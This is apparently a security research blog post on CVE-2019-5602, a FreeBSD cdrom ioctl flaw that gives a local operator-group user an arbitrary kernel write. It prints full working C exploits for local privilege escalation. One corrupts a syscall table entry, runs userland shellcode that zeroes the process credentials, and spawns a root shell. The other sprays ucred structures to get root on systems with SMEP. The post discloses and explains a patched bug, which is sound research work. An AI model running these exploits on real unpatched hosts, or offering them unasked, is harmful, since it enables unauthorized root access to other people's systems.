A new patch has been recently shipped in FreeBSD kernels to fix a vulnerability (cve-2019-5602) present in the cdrom device. In this post, we will introduce the bug and discuss its exploitation on pre/post-SMEP FreeBSD revisions.

The bug

A closer look at the commit 6bcf6e3 shows that when invoking the CDIOCREADSUBCHANNEL_SYSSPACE ioctl, data are copied with bcopy instead of the copyout primitive. This endows a local attacker belonging to the operator group with an arbitrary write primitive in the kernel memory.

The following code is sufficient to provoke a kernel panic. More precisely, the kernel tries to fill the data field (residing at address 0) with subchannel data. This is at least true on VMware virtualized environment where the scsi cdrom device emulator returns 4 NULL bytes that are filled by the kernel in the data field even in there is no media present. Please note that this may not be the case on physical FreeBSD hosts.

#include <unistd.h> #include <err.h> #include <fcntl.h> #include <sys/cdio.h> #include <sys/ioctl.h> int main(int argc, char **argv) { struct ioc_read_subchannel info; //struct cd_sub_channel_info data; int fd; fd = open("/dev/cd0", O_RDONLY | O_EXCL | O_NONBLOCK, 0); if (fd < 0) errx(-1, "failed to open device"); info.address_format = CD_MSF_FORMAT; info.data_format = CD_CURRENT_POSITION; info.data_len = 4; info.data = NULL; ioctl(fd, CDIOCREADSUBCHANNEL_SYSSPACE, &info); close(fd); return 0; }

The exploit(s)

First, we will consider an environment where SMEP is not supported/enabled. In this case, the exploitation is trivial. One can simply nullify the upper bytes of an entry in the syscall table, map that address in userland, copy a shellcode there, and finally trigger code execution by invoking the corrupted syscall.

In order to get this to work, we need to determine the address of the syscall table entry. Namely, we need to resolve the address of the symbol sysent . Hopefully, FreeBSD provides a useful primitive to resolve kernel symbols: kldsym . Hereafter, we rely on a snippet of code from @CTurtE blog series on FreeBSD Kernel exploitation to resolve the needed symbols:

uint64_t resolve(char *name) { struct kld_sym_lookup ksym; ksym.version = sizeof(ksym); ksym.symname = name; if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) errx(-1, "failed to resolve symbol"); warnx("%s mapped at %#lx

", ksym.symname, ksym.symvalue); return (uint64_t)ksym.symvalue; }

The exported sysent table holds elements of sysent structures:

struct sysent { /* system call table */ int sy_narg; /* number of arguments */ sy_call_t *sy_call; /* implementing function */ au_event_t sy_auevent; /* audit event associated with syscall */ systrace_args_func_t sy_systrace_args_func; /* optional argument conversion function */ u_int32_t sy_entry; /* DTrace entry ID for systrace */ u_int32_t sy_return; /* DTrace return ID for systrace */ u_int32_t sy_flags; /* General flags for system calls */ u_int32_t sy_thrcnt; };

As we can see, if we corrupt the upper bytes of the sy_call member, we can redirect system calls to code mapped in userland. In our case, we chose to corrupt the nosys syscall (syscall N°0) which only purpose is to print out a message for non supported syscalls.

#define SYS_target 0 /* ... */ sysent = resolve("sysent"); info.data = (struct cd_sub_channel_info *)(sysent + SYS_target * 48 + 8 + 4); ioctl(fd, CDIOCREADSUBCHANNEL_SYSSPACE, &info); syscall(SYS_target);

Finally, to elevate our privileges, we map the corrupted syscall address in userland and copy our shellcode there. Here again, we rely on code from @CTurt to gain root privileges. The idea is to retrieve a reference on the current running thread from the GS base, from which we derive a pointer to the ucred structure of the running process.

The full code of the exploit is given below:

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <inttypes.h> #include <err.h> #include <fcntl.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/cdio.h> #include <sys/ioctl.h> #include <sys/param.h> #include <sys/linker.h> #include <sys/ucred.h> #include <sys/syscall.h> #define SYS_target 0 struct ucred { uint32_t var_1; uint32_t cr_uid; uint32_t cr_ruid; uint32_t var_2[2]; uint32_t cr_rgid; }; struct proc { char var[64]; struct ucred *p_ucred; }; struct thread { void *var; struct proc *td_proc; }; /* resolve kernel symbol * from @CTurtE's code */ uint64_t resolve(char *name) { struct kld_sym_lookup ksym; ksym.version = sizeof(ksym); ksym.symname = name; if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) errx(-1, "failed to resolve symbol"); warnx("%s mapped at %#lx

", ksym.symname, ksym.symvalue); return (uint64_t)ksym.symvalue; } /* acquire root privs. * from @CTurtE's code */ void root() { struct thread *td; struct ucred *cred; // get td pointer asm volatile("mov %%gs:0, %0" : "=r"(td)); // resolve creds cred = td->td_proc->p_ucred; // escalate process to root cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0; } asm("end_payload:"); extern char end_payload[]; int main(int argc, char **argv) { int fd; struct ioc_read_subchannel info; struct cd_sub_channel_info data; uint64_t sysaddr, sysent, start, off, code_size, map_size; void *mem; sysaddr = resolve("nosys"); start = sysaddr & 0xfffff000; off = sysaddr & 0xfff; code_size = (void *)end_payload - (void *)root; map_size = ((code_size / PAGE_SIZE) + 1) * PAGE_SIZE; mem = mmap((void *)start, map_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0); if (mem != (void *)start) errx(-1, "mmap failed"); memcpy(mem + off, root, code_size); warnx("payload mapped at 0x%"PRIx64"

", mem); // assume user in operator group fd = open("/dev/cd0", O_RDONLY|O_EXCL|O_NONBLOCK, 0); if (fd < 0) errx(-1, "failed to open device"); info.address_format = CD_MSF_FORMAT; info.data_format = CD_CURRENT_POSITION; info.data_len = 4; //info.data_len = sizeof(struct cd_sub_channel_info); // corrupt syscall entry sysent = resolve("sysent"); info.data = (struct cd_sub_channel_info *)(sysent + SYS_target * 48 + 8 + 4); ioctl(fd, CDIOCREADSUBCHANNEL_SYSSPACE, &info); // trigger code exec syscall(SYS_target); if (getuid() == 0) { system("/bin/sh"); } close(fd); return 0; }

Ok. That was the easy part. Now, how we can achieve code execution when SMEP is enabled?

Our strategy is to create several processes and write randomly the kernel memory with the hope to corrupt the uid of one of the forked processes. Our initial attempt was a total failure since in FreeBSD systems, unlike Linux, the structure holding user credentials (ucred) is shared among the processes.

Hopefully, we can trick the system so that it creates a fresh ucred structure for each forked process by calling setuid(getuid()) .

Now to maximize our chance to corrupt the uid, we adopt the following strategy:

We fork several processes (i.e 0x1000).

Each process makes a call to setuid(getuid()) to force the creation of a new ucred structure. It is essential to make this call after the creation of all processes so that the ucred structures are sprayed continuously in memory. As we can see in the figure below, we obtain a large memory area of ucred structures (aligned on a 0x100 boundary).

Once all ucred structures have been created, the parent process invokes periodically the vulnerable IOCTL starting from a base address determined from debugging session.

structures have been created, the parent process invokes periodically the vulnerable IOCTL starting from a base address determined from debugging session. Each process checks in a loop if his uid has been altered.

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <inttypes.h> #include <err.h> #include <fcntl.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/cdio.h> #include <sys/ioctl.h> #include <sys/param.h> #include <sys/linker.h> #include <semaphore.h> struct shared_data { int nb_child; int nb_ucred; int stop; }; int main(int argc, char **argv) { struct ioc_read_subchannel info; struct cd_sub_channel_info data; int fd, md; int nb_proc = 0x1000; struct shared_data *memory; uint64_t start = 0xfffff8002e751e08; pid_t pids[nb_proc]; sem_t mutex; sem_init(&mutex, 1, 1); md = shm_open("/memory", O_CREAT | O_RDWR, 0600); if (md < 0) errx(-1, "failed to create shared memory"); ftruncate(md, sizeof(struct shared_data)); memory = (struct shared_data *)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, md, 0); if (memory < 0) errx(-1, "failed to mmap"); memset(memory, 0, sizeof(struct shared_data)); // spray memory with ucred struct for (int i = 0; i < nb_proc; i++) { pid_t pid = fork(); if (pid == -1) errx(-1, "failed to fork"); if (pid == 0) { while (memory->nb_child != nb_proc) { sleep(1); } // force ucred creation setuid(getuid()); sem_wait(&mutex); memory->nb_ucred++; sem_post(&mutex); while (memory->nb_ucred != nb_proc) { sleep(1); } while (1) { if (getuid() == 0) { system("id"); memory->stop = 1; exit(1); } kill(getpid(), SIGSTOP); } } else { pids[i] = pid; } } memory->nb_child = nb_proc; // assume user in operator group fd = open("/dev/cd0", O_RDONLY | O_EXCL | O_NONBLOCK, 0); if (fd < 0) errx(-1, "failed to open device"); info.address_format = CD_MSF_FORMAT; info.data_format = CD_CURRENT_POSITION; info.data_len = 4; info.data = (struct cd_sub_channel_info *)start; while (memory->nb_ucred != nb_proc) usleep(50); for (int i = 0; i < 0x100; i++) { ioctl(fd, CDIOCREADSUBCHANNEL_SYSSPACE, &info); if ((i + 1) % 4 == 0) { for (int j = 0; j < nb_proc; j++) kill(pids[j], SIGCONT); sleep(3); } info.data -= 0x100000; if (memory->stop) break; } close(fd); return 0; }

This PoC has been successfully tested on the last release of FreeBSD. However, please note that this strategy is highly unreliable and will likely produce more panics than shells.

Acknowledgement

Thanks to Fabien Perigaud, Bruno Pujos and Federico Bento.